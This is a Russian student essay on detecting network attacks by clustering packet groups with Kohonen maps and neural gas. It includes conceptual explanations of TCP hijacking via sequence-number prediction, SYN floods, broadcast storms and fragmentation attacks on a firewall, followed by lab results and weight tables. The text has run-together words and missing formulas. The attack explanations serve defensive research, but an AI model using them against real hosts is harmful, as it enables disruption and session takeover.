Реферат: Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа

Содержание

Введение

1. Описание способа решения задачи

2. Теоретическая часть

2.1 Что такое Data mining и KDD?

2.2 Описание рассматриваемыххакерских атак

2.2.1 Подмена одного из субъектов TCP-соединения в сети Internet

2.2.2 Нарушение работоспособностихоста в сети Internet при использовании направленного“шторма” ложных TCP-запросов насоздание соединения либо при переполнении очереди запросов

2.2.3 Другие виды атак

2.3 Сеть с самоорганизацией на основеконкуренции

2.3.1 Состав сети Кохонена

2.3.2 Меры расстояния между векторами

2.3.3 Способы нормализации входныхданных

2.3.4 Алгоритм обучения картыКохонена

2.3.5 Механизм утомления

2.3.6 Алгоритм нейронного газа

3. Формализация задачи

4. Эксперимент

5. Результаты работы модели

Заключение

Список используемой литературы

Листинг программ


Введение

Наряду с развитиемсредств электронной связи происходило развитие средств нарушенияработоспособности информационных каналов. В настоящее время усиливаетсяоснащение вычислительной техники механизмами защиты от несанкционированногодоступа, вирусов, спама, хакерских атак и т.д. Это так называемые брандмауэры,файрволлы, фильтры пакетов. Операционные системы также усиливают свой боевойарсенал. Несмотря на это ежедневно продолжается нарушаться работа различныхкомпьютеров: от головных серверов до рабочих станций от действия вредоносныхпрограмм. В данной работе автор хотел расклассифицировать группы входящихпакетов, поступающих на одну из рабочих станций в ЛВС, методамиинтеллектуального анализа данных. Впоследствии, зная принадлежность той илииной группы к классу хакерских атак, по заданному количеству поступившихпакетов можно определить грядущую угрозу рабочей станции.


1. Описание способарешения задачи

Во-первых, следуетвыбрать параметры, позволяющие оценить текущее состояние входящего трафика.Из-за того, что по одному пакету нельзя определить начало атаки, то параметрыдолжны быть интегральными по некоторой группе пакетов. Это можно сделать путёмоценивания n-подряд идущих пакетов, причём чем большеn, тем более точным должен бытьрезультат классификации.

Во вторых, необходимосоздать интеллектуальную базу данных для построения интеллектуальной моделисистемы, это можно сделать путём проведения серии экспериментов, чередуяпосылку пакетов, вызванных злонамеренными действиями, и обычных пакетов междукомпьютерами.

Третьим шагом, служитсоздание интеллектуальной системы оценивания входящих пакетов, причём обучающейбазой для построения модели служит база созданная на шаге 2.

Наконец, после обучения интеллектуальнойсистемы требуется объяснить результаты моделирования и проверить работу моделив реальных условиях.


2. Теоретическая часть

2.1. Что такое Data mining и KDD?

“Большинствоисследователей и экспертов накапливают за время своей деятельности большие, аорганизации – просто гигантские объемы данных. Но единственное что люди могут,а в большинстве случаев и хотят получить от них – это быстрое извлечениетребуемой информации. Фактически базы данных выполняют функцию памяти, илисложной записной книжки; доступ пользователя к хранилищу данных обеспечиваеттолько извлечение небольшой части из хранимой информации в ответ на четкозадаваемые вопросы. Когда мы имеем огромный поток информации, огромные залежинакопленной информации, встает задача максимально целесообразно использоватьэту информацию, чтобы извлечь спрятанное в данных знание с целью оптимизироватьуправление какими-либо процессами, улучшить деятельность организации, болееточно узнать свойства и законы функционирования, присущие очень сложнымобъектам, таким, скажем, как медицинские организации, биологические системы илиорганизм человека.

Можно было бы действовать старым проверенным способом, тоесть посадить огромную армию аналитиков, статистиков, которые бы с этимиданными разбирались, используя традиционные средства анализа данных. Но,очевидно, что уже сейчас эта задача не может быть решена только силами человекапросто в силу гигантского объема данных. Можно сказать, что экстенсивный путьиспользования интеллекта человека в принципе не позволяет решить эту задачу, идля ее решения требуется качественно иной подход. С другой стороны такоерешение просто дорого и экономически неэффективно. Кроме того, не всегдаполучаемые аналитиками результаты являются объективными, поскольку обычно людируководствуются, явно или неявно, теми или иными соображениями, некоторымиаприорными представлениями об изучаемом предмете, что не может не отразиться наобъективности получаемых ими результатов.

А можно ли узнать изданных о том, какое решение наиболее предпочтительно для конкретной задачи, какорганизовать ресурсы бизнеса наиболее эффективным образом или какминимизировать издержки и при этом переложить значительную часть аналитическойработы на плечи Машины? Хотелось бы автоматизировать процесс анализа и сделатьего более объективным, а именно: получить некоторую технологию, которая быавтоматически извлекала из данных новые нетривиальные знания в форме моделей,зависимостей, законов и т.д., гарантируя при этом их статистическую значимость.Новейшая технология,

Knowledgediscovery in databases (дословно, «обнаружение знаний в базах данных») – аналитическийпроцесс исследования человеком большого объема информации с привлечениемсредств автоматизированного исследования данных с целью обнаружения скрытых вданных структур или зависимостей. Предполагается полное или частичноеотсутствие априорных представлений о характере скрытых структур и зависимостей.KDD включает предварительное осмысление и неполную формулировку задачи (втерминах целевых переменных), преобразование данных к доступному дляавтоматизированного анализа формату и их предварительную обработку, обнаружениесредствами автоматического исследования данных (data mining) скрытых структурили зависимостей, апробация обнаруженных моделей на новых, не использовавшихсядля построения моделей данных и интерпретация человеком обнаруженных моделей.

Datamining (дословно, «разработка данных») –исследование и обнаружение “машиной” (алгоритмами, средствами искусственногоинтеллекта) в сырых данных скрытых структур или зависимостей, которые

–    ранее не былиизвестны,

–    нетривиальны,

–    практическиполезны,

–    доступны дляинтерпретации человеком.

Направленная на решение этих проблем– это технология knowledge discovery in databases (KDD). KDD – это синтетическаяобласть, впитавшая в себя последние достижения искусственного интеллекта,численных математических методов, статистики и эвристических подходов. Цельтехнологии – нахождение моделей и отношений, скрытых в базе данных, такихмоделей, которые не могут быть найдены обычными методами. Следует отметить, чтона плечи Машины перекладываются не только “рутинные” операции (скажем, проверкастатистической значимости гипотезы), но и операции, которые ранее было отнюдьне принято называть рутинными (выработка новой гипотезы). KDD позволяет увидетьтакие взаимоотношения между данными, которые прежде даже не приходили в головуисследователю, а применение которых может способствовать увеличениюэффективности работы и исследований, а в нашем конкретном случае позволитвыявлять пакеты, являющиеся прямым следствием посягательством на вычислительныересурсы.

2.2 Описаниерассматриваемых хакерских атак

2.2.1 Подмена одного изсубъектов TCP-соединения в сети Internet.

ПротоколTCP (Transmission Control Protocol) является одним из базовых протоколовтранспортного уровня сети Internet. Этот протокол позволяет исправлять ошибки,которые могут возникнуть в процессе передачи пакетов, и является протоколом сустановлением логического соединения — виртуального канала. По этому каналупередаются и принимаются пакеты с регистрацией их последовательности,осуществляется управление потоком пакетов, организовывается повторная передачаискаженных пакетов, а в конце сеанса канал разрывается. При этом протокол TCPявляется единственным базовым протоколом из семейства TCP/IP, имеющимдополнительную систему идентификации сообщений и соединения. Именно поэтомупротоколы прикладного уровня FTP и TELNET, предоставляющие пользователямудаленный доступ на хосты Internet, реализованы на базе протокола TCP.

Дляидентификации TCР-пакета в TCP-заголовке существуют два 32-разрядныхидентификатора, которые также играют роль счетчика пакетов. Их названия — SequenceNumber и Acknowledgment Number. Также нас будет интересовать поле, называемое ControlBits.

Этополе размером 6 бит может содержать следующие командные биты (слева направо):

URG: Urgent Pointer fieldsignificant ACK: Acknowledgment field significant PSH: Push Function RST: Resetthe connection SYN: Synchronize sequence numbers FIN: No more data from sender

Далеерассмотрим схему создания TCP-соединения (рис. 1).

/> 

Рис. 1. Схема созданияTCP-соединения

Предположим,что хосту А необходимо создать TCP-соединение с хостом В. Тогда А посылает на Вследующее сообщение:

1. A- > B: SYN, ISSa

Этоозначает, что в передаваемом A сообщении установлен бит SYN (synchronizesequence number), а в поле Sequence Number установлено начальное 32-битноезначение ISSa (Initial Sequence Number).

Вотвечает:

2. B — > A:SYN, ACK, ISSb, ACK(ISSa+1)

Вответ на полученный от А запрос В отвечает сообщением, в котором установлен битSYN и установлен бит ACK; в поле Sequence Number хостом В устанавливается своеначальное значение счетчика — ISSb; поле Acknowledgment Number содержитзначение ISSa, полученное в первом пакете от хоста А и увеличенное на единицу.

А,завершая рукопожатие (handshake), посылает:

3. A — > B:ACK, ISSa+1, ACK(ISSb+1)

Вэтом пакете установлен бит ACK;поле SequenceNumber содержитISSa + 1; поле AcknowledgmentNum-berсодержитзначение ISSb + 1. Посылкой этогопакета на хост В заканчивается трехступенчатый handshake, и TCP-соединениемежду хостами А и В считается установленным.

Теперьхост А может посылать пакеты с данными на хост В по только что созданномувиртуальному TCP-каналу:

4. A — > B:ACK, ISSa+1, ACK(ISSb+1); DATA

Израссмотренной выше схемы создания TCP-соединения видно, что единственнымиидентификаторами TCP-абонентов и TCP-соединения являются два 32-бит-ныхпараметра Sequence Number и Acknowledgment Number. Следовательно, дляформирования ложного TCP-пакета атакующему необходимо знать текущиеидентификаторы для данного соединения — ISSa и ISSb. Проблема возможной подменыTCP-сообщения становится еще более важной, так как анализ протоколов FTP иTELNET, реализованных на базе протокола TCP, показал, что проблемаидентификации FTP- и TELNET-пакетов целиком возлагается данными протоколами натранспортный уровень, то есть на TCP. Это означает, что атакующему достаточно,подобрав соответствующие текущие значения идентификаторов TCP-пакета дляданного TCP-соединения (например, данное соединение может представлять собойFTP- или TELNET-подключение), послать пакет с любого хоста в сети Internet отимени одного из участников данного соединения (например, от имени клиента), иданный пакет будет воспринят как верный! К тому же, так как FTP и TELNET непроверяют IP-адреса отправителей, от которых им приходят сообщения, то в ответна полученный ложный пакет, FTP- или TELNET-сервер отправит ответ на указанныйв ложном пакете настоящий IP-адрес атакующего, то есть атакующий начнет работус FTP- или TELNET-сервером со своего IP-адреса, но с правами легальноподключившегося пользователя, который, в свою очередь, потеряет связь ссервером из-за рассогласования счет- чиков.

Итак,для осуществления описанной выше атаки необходимым и достаточным условиемявляется знание двух текущих 32-битных параметров ISSa и ISSb, идентифицирующихTCP-соединение. Рассмотрим возможные способы их получения.

Втом случае, когда атакующий находится в одном сегменте с целью атаки или черезего сегмент проходит трафик предполагаемого объекта атаки, то задача получениязначений ISSa и ISSb является тривиальной и решается путем анализа сетевоготрафика. Следовательно, надо четко понимать, что протокол TCP позволяет, впринципе, защитить соединение только в случае невозможности перехвата атакующимсообщений, передаваемых по данному соединению, то есть в случае нахожденияатакующего в других сегментах относительно абонентов TCP-соединения.

Поэтомунаибольший интерес для нас представляют межсегментные атаки, когда атакующий иего цель находятся в разных сегментах сети. В этом случае задача получениязначений ISSa и ISSb не является тривиальной. Далее предлагается следующеерешение данной проблемы.

Рис. 2. Подмена одного изучастников TCP-соединения

/> 

Рис.2.1. X-Hacker посылает на Хост Aсерию TCP-запросов на создание соединения, заполняя тем самым очередь запросов,с целью вывести из строя на некоторое время Хост A.

/> 

Рис2.2. X-Hacker от имени Хоста Aпосылает запрос на создание TCP-соединения на Хост B.

/>

Рис.2.3 Хост B отвечает хосту A напредыдущий запрос.


/> 

Рис.2.4 Хост X-Hacker никогда неполучит значения ISNb' от хоста B, но, используя математическое предсказаниеISN, посылает на B от имени A пакет с ISNb'. При этом Хост A не может послатьпакет с битом RST.

2.2.2 Нарушение работоспособности хоста всети Internet при использовании направленного «шторма» ложныхTCP-запросов на создание соединения, либо при переполнении очереди запросов

Израссмотренной в предыдущем пункте схемы создания TCP-соединения следует, что накаждый полученный TCP-запрос на создание соединения операционная система должнасгенерировать начальное значение идентификатора ISN и отослать его в ответ назапросивший хост. При этом, так как в сети Internet (стандарта IPv4) непредусмотрен контроль за IP-адресом отправителя сообщения, то невозможноотследить истинный маршрут, пройденный IP-пакетом, и, следовательно, у конечныхабонентов сети нет возможности ограничить число возможных запросов, принимаемыхв единицу времени от одного хоста. Поэтому возможно осуществление типовойудалённой атаки «Отказ в обслуживании», которая будет заключаться впередаче на атакуемый хост как можно большего числа ложных TCP-запросов насоздание соединения от имени любого хоста в сети (рис. 3). При этом атакуемаясетевая ОС в зависимости от вычислительной мощности компьютера либо — в худшемслучае — практически зависает, либо — в лучшем случае — перестает реагироватьна легальные запросы на подключение (отказ в обслуживании). Это происходитиз-за того, что для всей массы полученных ложных запросов система должна,во-первых, сохранить в памяти полученную в каждом запросе информацию и,во-вторых, выработать и отослать ответ на каждый запрос. Таким образом, всересурсы системы «съедаются» ложными запросами: переполняется очередьзапросов и система занимается только их обработкой. Эффективность даннойудаленной атаки тем выше, чем больше пропускная способность канала междуатакующим и целью атаки, и тем меньше, чем больше вычислительная мощьатакуемого компьютера (число и быстродействие процессоров, объем ОЗУ и т. д.).

/> 

Рис.3 Нарушение работоспособностихоста в Internet, использующее направленный шторм ложных TCP-запросов насоздание соединения

Другаяразновидность атаки «Отказ в обслуживании» состоит в передаче наатакуемый хост нескольких десятков (сотен) запросов на подключение к серверу,что может привести к временному (до 10 минут) переполнению очереди запросов насервере. Это происходит из-за того, что некоторые сетевые ОС устроены так,чтобы обрабатывать только первые несколько запросов на подключение, а остальные- игнорировать. То есть при получении N запросов на подключение, ОС сервераставит их в очередь и генерирует соответственно N ответов. Далее, в течениеопределенного промежутка времени, (тайм-аут 10 минут) сервер будет дожидатьсяот предполагаемого клиента сообщения, завершающего handshake и подтверждающегосоздание виртуального канала с сервером. Если атакующий пришлет на серверколичество запросов на подключение, равное максимальному числу одновременнообрабатываемых запросов на сервере, то в течение тайм-аута остальные запросы наподключение будут игнорироваться и к серверу будет невозможно подключиться.

Взаключение необходимо отметить, что в существующем стандарте сети Internet IPv4нет приемлемых способов надежно обезопасить свои системы от этой удаленнойатаки. К счастью, атакующий в результате осуществления описанной атаки несможет получить несанкционированный доступ к вашей информации. Он сможет лишь«съесть» вычислительные ресурсы вашей системы и нарушить ее связь свнешним миром. Остается надеяться, что нарушение работоспособности вашего хостапросто никому не нужно.

Для противодействияподобным атакам необходимо должным образом изменить конфигурацию систем иполитику безопасности. Статистика показывает, что 90% узлов, подключенных к Internet, восприимчивы к таким атакам.

2.2.3 Другие виды атак

В настоящее времятехнологии лавинных атак предусматривают блокировку отслеживания источника. Впроцессе такой атаки вместо заранее заданных используются случайные IP-адреса.

Можно использовать идругой транспортный протокол. Например, широко распространена атака,осуществляющей лавинную блокировку по протоколу UDP при помощи широковещательных пакетов на систему подуправлением WINNT. Широковещание может производитьсяна канальном и сетевом уровнях. Широковещание на канальном уровне производитсяв рамках одной текущей физической сети, в то время как широковещание на сетевомуровне осуществляется в пределах всех сетей, подключенных к текущей физическойсети.

Известно, что каждыйподключенный к сети компьютер под управлением WINNT должен ответить на UDP-дейтаграмму с широковещательным адресом. Такие ответысами по себе являются причиной затора в сети – так называемого“широковещательного шторма”.

Другим слабым местоматакуемого хоста могут стать брандмауэры, например файрволл FW-1 не проверяет и не регистрируетфрагментированные пакеты до тех пор, пока они не будут вновь полностью собраны.Соответственно, посылая тысячи несвязанных фрагментированных пакетов наинтерфейс атакуемого брандмауэра, удалённый нападающий может привести систему внерабочее состояние.

2.3 Сеть самоорганизациина основе конкуренции

Основу самоорганизации нейронныхсетей составляет подмеченная закономерность, что глабальное упорядочение сетистановится возможным в результате самоорганизующихся операций, независимо другот друга проводящихся в различных сегментах сети. В соответствии с поданнымивходными сигналами осуществляется активация нейронов, которые вследствиеизменения значений синаптических весов адаптируются к поступающим входнымвыборкам. При этом происходит естественное расслоение нейронов в различныегруппы. Отдельные нейроны или их группы сотрудничают между собой иактивизируются в ответ на возбуждение, создаваемое конкретными обучающимивыборками. При этом можно говорить как о сотрудничестве между нейронами внутригруппы, так и о конкуренции между нейронами внутри группы и между различнымигруппами. Среди механизмов самоорганизации особую популярность получил механизмконкуренции между нейронами на базе обобщенного правила Хебба.

Время обучения задачамраспознавания и кластеризации сети Кохонена более, чем в сто раз меньше времениобучения аналогичным задачам многослойного персептрона. Одними из определяющиххарактеристик сети Кохонена являются её хорошие способности к обобщению,позволяющие получать правильный выход даже при неполном или зашумлённом входномвекторе.


2.3.1 Состав сети ссамоорганизацией на основе конкуренции

Нейроны реализуют функциюпорогового суммирования взвешенных входов. Нейрон с максимальным значениемвзвешенной суммы (на заданных входной вектор), является «победителем». На еговыходе формируется уровень логической «1», а на выходах остальных нейронов –«0».

Перед обучением(самообучения) сети Кохонена, протекающим без учителя, необходимо выполнитьпредварительную нормализацию входных и весовых векторов.

После нормализациивходных векторов при активации сети вектором x в конкурентной борьбе побеждает тот нейрон, веса которого внаименьшей степени отличаются от соответствующих компонентов этого вектора. Дляw-того нейрона-победителя выполняетсяотношение

/>

где d(x,w) обозначаетрасстояние (в смысле выбранной метрики) между векторами x и w, а n –количество нейронов. Вокруг нейрона-победителя образуется топологическаяокрестность Sw(k) с определённой энергетикой, уменьшающейся с течениемвремени. Нейрон-победитель и все нейроны, лежащие в пределах его окрестности,подвергаются адаптации, в ходе которой их векторы весов изменяются в направлениивектора x по правилу Кохонена:

/>

для i принадл Sw(k), где обозначенкоэффициент обучения i-гонейрона из окрестности Sw(k) в k-тый момент времени. Значение уменьшается с увеличениемрасстояния между i-тым нейроном ипобедителем. Веса нейронов, находящихся за пределами Sw(k) не изменяются.Размер окрестности и коэффициенты обучения нейронов являются функциями,значения которых уменьшаются с течением времени.

После предъявления двухразличных векторов x, например, x1 и x2, активизируются два нейрона сети, веса которых наиболееблизки к координатам соответствующих векторов x1 и x2.Эти веса, обозначенные в векторной форме w1 и w2,могут отображаться в пространстве как две точки. Сближение векторов x1 и x2 вызывает соответствующее изменение в расположении векторов w1 и w2. В пределе равенство w1-w2 выполняетсятогда и только тогда, когда x1 и x2 совпадают или практически неотличимыдруг от друга. Сеть, в которой эти условия выполняются, называетсятопографической картой, или картой Кохонена.

2.3.2 Меры расстояниямежду векторами.

Процесс самоорганизациипредполагает определение победителя каждого этапа. В этой ситуации важной проблемойстановится выбор метрики, в которой будет измеряться расстояние между векторамиx и w.

Чаще всего в качествемеры расстояния используются:

эвклидова мера />

скалярное произведение />

мера относительно нормы L1 />

мера относительно нормы L∞ />

 2.3.3 Способы нормализации исходныхданных

Дляуспешного обучения и функционирования нейронной сети Кохонена желательно, чтобыдиапазоны изменения наблюдаемых величин не отличались друг от друга илиотличались незначительно. Это требуется для того чтобы предотвратить чрезмерныйвклад компонента исходных данных с широким диапазоном в модификацию весов.

Наиболеераспространенным способы нормализации является масштабирование исходных данныхв некоторый диапазон:

/>,

/>,

Формула(4.1) осуществляет масштабирование в диапазон [0;1]. Формула (4.2) – в диапазон[-1;1].

Расчетныезначения параметра, полученные в результате функционирования нейросети,масштабируются в диапазон [min(p); max(p)] при помощи обратных формул.

2.3.4 Механизм утомления

При инициализации весовсети случайным образом часть нейронов может оказаться в области пространства, вкоторой отсутствуют данные или их количество ничтожно мало. Эти нейроны имеютмало шансов на победу и адаптацию своих весов, поэтому они остаются мёртвыми.Таким образом, входные данные будут интерпретироваться меньшим количествомнейронов (мёртвые нейроны не принимают участие в анализе), а погрешностьинтерпретации данных, иначе называемая погрешностью квантования, увеличится.Поэтому важной проблемой становиться активация всех нейронв сети.

Такую активацию можно осуществить,если в алгоритме обучения предусмотреть учёт количества побед каждого нейрона,а процесс обучения организовать так, чтобы дать шанс победить и менее активнымнейронам. Такой способ учёта активности нейронов будет называться в дальнейшеммеханизмом утомления.

Существуют различныемеханизмы учёта активности нейронов в процессе обучения. Часто используетсяметод подсчёта потенциала piкаждого нейрона, значение которого модифицируется всякий раз послепредставления очередной реализации входного вектора x в соответствии со следующей формулой (в ней предполагается,что победителем стал w-йнейрон):

/>

Значение коэффициента pmin определяет минимальный потенциал,разрешающий участие в конкурентной борьбе. Если фактическое значение потенциалаpi падает ниже pmin, i-йнейрон “отдыхает”, а победитель ищется среди нейоронов, для которых выполняетсяотношение

/>

для 1<=i<=N и pi>=pmin. Максимальное значение потенциалаограничивается на уровне, равном 1. Выбор конкретного pmin позволяет установить порог готовности нейрона кконкурентной борьбе. При pmin=0утомляемость нейронов не возникает, и каждый из них сразу после победы будетготов к продолжению соперничества. При Pmin=1 возникает другая крайность, вследствие которойнейроны побеждают по очереди, так как в каждый момент времени только один изних оказывается готовым к соперничеству. На практике хорошие результатыдостигаются, когда pmin=0.75.

2.3.5 Алгоритм обучения карты Кохонена

Основнымотличием данной технологии от наиболее распространенного обучения методомобратного распространения, является то, что обучение проходит без учителя, тоесть результат обучения зависит только от структуры входных данных.

Алгоритмфункционирования самообучающихся карт Алгоритм SOM подразумевает использованиеупорядоченной структуры нейронов. Обычно используются одно и двумерные сетки.При этом каждый нейрон представляет собой n-мерный вектор-столбец своих весовыхкоэффициентов:

/>,

где nопределяется размерностью исходного пространства (размерностью входныхвекторов). Применение одно и двумерных сеток связано с тем, что возникаютпроблемы при отображении пространственных структур большей размерности.

Обычнонейроны располагаются в узлах двумерной сетки с прямоугольными илишестиугольными ячейками. При этом, нейроны также взаимодействуют друг с другом.Величина этого взаимодействия определяется расстоянием между нейронами накарте. На рисунке даны примеры расстояний для шестиугольной и четырехугольнойсеток.

При этомлегко заметить, что для шестиугольной сетки расстояние между нейронами большесовпадает с евклидовым расстоянием, чем для четырехугольной сетки. Количествонейронов в сетке определяет степень детализации результата работы алгоритма, и,в конечном счете, от этого зависит точность обобщающей способности карты.

/>

Рис.4– Расстояние между нейронами на шестиугольной (а) и четырехугольной (б) сетках


Передначалом обучения карты необходимо проинициализировать весовые коэффициентынейронов. Удачно выбранный способ инициализации может существенно ускорить обучение,и привести к получению более качественных результатов. Существуют два основныхспособа инициирования начальных весов:

·       Инициализация случайнымизначениями — всем весам даются малые случайные величины.

·       Инициализация примерами – всемвесам в качестве начальных значений задаются значения случайно выбранныхпримеров из обучающей выборки.

Обучениесостоит из последовательности коррекций векторов, представляющих собой нейроны.На каждом шаге обучения из исходного набора данным случайно выбирается один извекторов (обозначим его х), а затем производится поиск наиболее схожего с нимвектора коэффициентов нейронов. При этом выбирается нейрон-победитель, которыйнаиболее схожий с вектором входов. Под «схожестью» в данной задаче понимаетсянекоторая метрика, заданная в пространстве входных векторов. В качестве метрикиобычно используется расстояние в евклидовом пространстве. Узелнейрона-победителя для входного вектора после обучения нейросети называется«наиболее подходящим узлом» (Best Matching Unit– BMU).

Такимобразом, если обозначить нейрон-победитель номером c, то:

/>,

Послетого, как найден нейрон-победитель, производится корректировка весов нейросети.При этом вектор, описывающий нейрон-победитель и вектора, описывающие егососедей в сетке, перемещаются в направлении входного вектора. Этопроиллюстрировано на рисунке для двумерного вектора.


/>

Рис.5– Подстройка весов нейрона победителя и его соседей

При этомдля модификации весовых коэффициентов используется формула:

/>,

где tобозначает номер эпохи (номер итерации обучения).

Функцияh(t) называется функцией соседства нейронов. Эта функция представляет собойневозрастающую функцию от времени и расстояния между нейроном-победителем исоседними нейронами в сетке. Эта функция разбивается на две части: собственнофункцию расстояния и функции скорости обучения от времени:

/>,

где r –координаты нейрона в сетке.

Обычноприменяется одна из двух функций от расстояния: простая константа:

/>,

илиГауссова функция:

/>,

При этом /> является убывающейфункцией от времени. Эту величину называют радиусом обучения. Он выбираетсядостаточно большим на начальном этапе обучения и постепенно уменьшается так,что в конечном итоге обучается один нейрон-победитель. Наиболее частоиспользуется функция, линейно убывающая от времени.

Функцияскорости обучения /> такжепредставляет собой функцию, убывающую от времени. Наиболее часто используютсядва варианта этой функции: линейная и обратно пропорциональная времени вида:

/>,

где A и Bэто константы. Применение этой функции приводит к тому, что все вектора изобучающей выборки вносят примерно равный вклад в результат обучения.

Обучениесостоит из двух основных фаз: на первоначальном этапе выбирается достаточнобольшое значение скорости обучения и радиуса обучение, что позволяетрасположить вектора нейронов в соответствии с распределением примеров ввыборке, а затем производится точная подстройка весов, когда значенияпараметров скорости обучения много меньше начальных.

2.3.6Алгоритм нейронного газа

В этомалгоритме на каждой итерации все нейроны сортируются в зависимости от ихрасстояния до вектора x. После сортировки нейроны размечаются в последовательности,соответствующей увеличению удалённости.

/>

где dk=|x-wm(i)|обозначает удалённость i-того нейрона, занимающего в результате сортировки m-юпозицию в последовательности, возглавляемой нейроном-победителем, которомусопоставлена удаленность d0. Значение функции соседства для i-тогонейрона G(i,x) определяется по формуле:

/>

в которойm(i) обозначает очерёдность, полученную в результатесортировки (m(i)=1,2,3,…,n-1), а лямбда — параметр,аналогичный уровню соседства в алгоритме Кохонена, уменьшающийся с течениемвремени. При лямбда =0 адаптации подвергается только нейрон-победитель, иалгоритм превращается в обычный алгоритм WTA, но приуточнению подлежат веса многих нейронов, причём уровень уточнения зависит отвеличины G(i,x).

Длядостижения хороших результатов самоорганизации процесс обучения долженначинаться с большого значения лямбда, однако с течением времени его величинауменьшается до нуля.


3.Формализация задачи

Вкачестве группы пакетов, выступающих в качестве обучающего примера, возьмём 10подряд идущих поступающих на рабочую станцию пакетов. Для построения моделиоценим в каждой группе следующие параметры:

1.Числопакетов поступивших от хостов “своей” ЛВС.

2.Числофрагментированных пакетов.

3.Число TCP-пакетов.

4.Число UDP-пакетов.

5.Максимальноечисло пакетов в группе, пришедших от одного из хостов-отправителей.

6.Принадлежностьхоста, отправителя наибольшего числа пакетов. (1 — “своя” ЛВС, 0 — иначе)

7.Средняязагрузка процессора (без учёта приложений не связанных с сетью). (%)

8.Изменениезагрузки процессора с времени получения первого пакета до времени полученияпоследнего пакета (без учёта приложений не связанных с сетью).(%)

9.Среднийразмер пакета. (байт)

10.Числопакетов размером в интервале с 0.8*x до 1.2*x, где x –средний размер пакета.

11. Числодоступных хостов.

12. Числоразличных хостов.

Вышеперечисленныепараметры будут являться входами модели. Пользователю следует определить размеркарты Кохонена, а также параметры настройки нейронной сети. Остаётся толькосгенерировать различные пакеты TCP, UDP и ICMP как обычные, так и “хакерские”, и переслать их нахост, ведущий журнал входящих пакетов и их параметров. Из данного журналапакеты объединяются в группы (10 последовательно идущих пакетов). Для каждойгруппы определяются выделенные интегральные критерии.

Полученныеданные служат для самообучения сети.


4.Эксперимент

Налокальную станцию (192.168.0.3) поступают следующие пакеты:

TCP – обычные пакеты от станцийсобственной ЛВС. Соединение происходит в обычном режиме. Передача файлов.

ICMP – обычные пакеты, “проверкасвязи”.

UDP – обычные пакеты от станцийЛВС, обмен данными между приложениями BroodWar, Blizzard Intertainment.

TCP – обычные пакеты от хостов, напринадлежащих “своей” ЛВС, передача файлов.

TCP – “хакерские” пакеты.Паническая атака.

ICMP – пакеты, являющиесяследствием широковещательного шторма.

UDP – “хакерские” пакеты (посылкашироковещательного шторма).

TCP – “хакерские” пакеты,фрагментрованные и не связанные между собой (aтака нафайрфолл).

Экспериментпредставляет собой посылку и запоминание чередующихся обычных и “опасных”пакетов. Причём в группе, относящийся к классу зарождающейся атаки, могутприсутствовать и совершенно безвредные пакеты с данными и сообщениями. Того какзаранее определённое число пакетов было получено и после предобработки в группыпроизошло обучение модели, необходимо произвести визуализацию карты Кохонена.На карте, состоящей из квадратов, где за каждый квадрат отвечает один нейрон,производится заливка в зависимости от класса опасности. Нейроны, отвечающие закласс — тотальная атака (большое число опасных пакетов), окрашиваются в болеетёмно красные цвета, нейроны, классифицирующие обычную работу станции в сети(приём-передача данных), окрашены в более нейтральные цвета.


5. Результатыработы модели

1.Стандартныйалгоритм Кохонена. Карта 10*10 нейронов.

/>

Рис.5Визуализация карты Кохонена при обучении стандартным алгоритмом Кохонена

Из-затого что многие нейроны после обучения остались мертвыми нейронная сеть имеетвысокую погрешность квантования.

Самыеопасные классы характеризуются следующими параметрами: небольшие по размерупакеты, значительное количество пакетов одного типа, например только ICMPили UDP, и одного размера, во время получения этих групппакетов происходит существенная загрузка процессора, значительная часть хостов- отправителей не доступны. Другим опасным классом является кластер с большимипо размерам фрагментированными пакетами.

2.Стандартныйалгоритм Кохонена с учётом соседства. Карта 10*10 нейронов.


/>

Рис.6Визуализация карты Кохонена при обучении стандартным алгоритмом Кохонена сучётом соседства

Из-заподстройки большего числа нейронов значительная часть нейронов – “живая”.Погрешность квантования значительно ниже. Визуально прослеживаетсягруппирование опасных групп пакетов. Между двумя основными очагами опасности (влевом и правом углах карты) расположены группы пакетов соответствующиебезопасной передаче.

3.Обучениекарты признаков с механизмом утомления. Карта 10*10 нейронов.

/>

Рис.7Визуализация карты Кохонена при обучении с использованием механизма утомления.

4. Обучениекарты признаков с механизмом утомления и подстройкой соседей. Карта 10*10нейронов.


/>

Рис.8 Визуализация карты Кохонена приобучении обучении с использованием механизмаутомления и подстройкой соседей.

5.Алгоритмнейронного газа.=

/>

Рис.9 Визуализация карты Кохонена приобучении. Алгоритмом нейронного газа

Большой разброс по карте различныхцветов объясняется самим алгоритмом обучения: здесь соседство нейронов независит от расположения нейронов на карте признаков.

Кромевизуализации карты важны также значения синаптических весов. Синаптический вес W0=1-поляризация нейрона.


Пример.1

/>

Рис.10Карта Кохонена. 5*5 нейронов.

Ниже данызначения синаптических весов для каждого из “живых” нейронов.

Нейрон 0

1

7,87128697398845

0,625510201518193

2,7803597528978

1,89207931247814

3,29053079148225

0,846173185063035

13,5345966850206

7,0865225491331

129,307664502201

1,40585258052631

9,01013368873421

Нейрон 1

1

7,15478814257012

0,80038505604928

3,4657135681091

2,14143521744823

3,44359875511805

0,776338372597683

12,9441507600633

5,13478248587067

183,45652320823

0,892269137377325

8,8894329158617

Нейрон 2

1

6,51072352952404

0,992340068508278

4,06763582460853

2,78810515781772

3,8079162430252

0,67583544535221

11,7697105357889

1,88885822746819

277,625057718703

0,489223807498444

9,01986066715186

Нейрон 3

1

5,89443270744136

1,07835225630037

5,00871505425791

3,21406653769472

4,05965826713145

0,688612599435516

9,64055979833943

0,176019982013541

349,212505651654

0,307102637433364

8,2882446272146

Нейрон 4

1

5,70325599064924

1,50203934884403

5,48238703058519

2,857530344957

4,1045922884135

0,559367823973787

9,80870961032371

-2,51748577298294

388,707709851468

0,360064195846817

8,67487120799402

Нейрон 6

1

6,98662538009356

0,943325646563848

3,76316661580884

2,28074699102588

3,84435226155865

0,675295943164295

13,1166889150889

2,5894675318043

232,422065671803

0,578616436145349

9,30231795759802

Нейрон 7

1

6,4383154761932

1,30743427921713

4,43322764797434

2,5712769815738

4,015643912254

0,585958396325411

11,4384134686756

0,295227565032279

308,441204991856

0,436934279428607

9,22429249868916

Нейрон 8

1

6,2914496789632

1,49510940329358

5,16485493868028

2,94683540727014

4,26732605590749

0,59451625983309

10,9123469737949

-2,32327270509521

397,564552174538

0,581383154548032

9,07977817163535

Нейрон 9

1

5,78995420800614

1,73921623428801

5,64413639879408

2,83323796423943

4,40990583312066

0,500543095760549

11,1144609757214

-5,73252740367375

449,019038281951

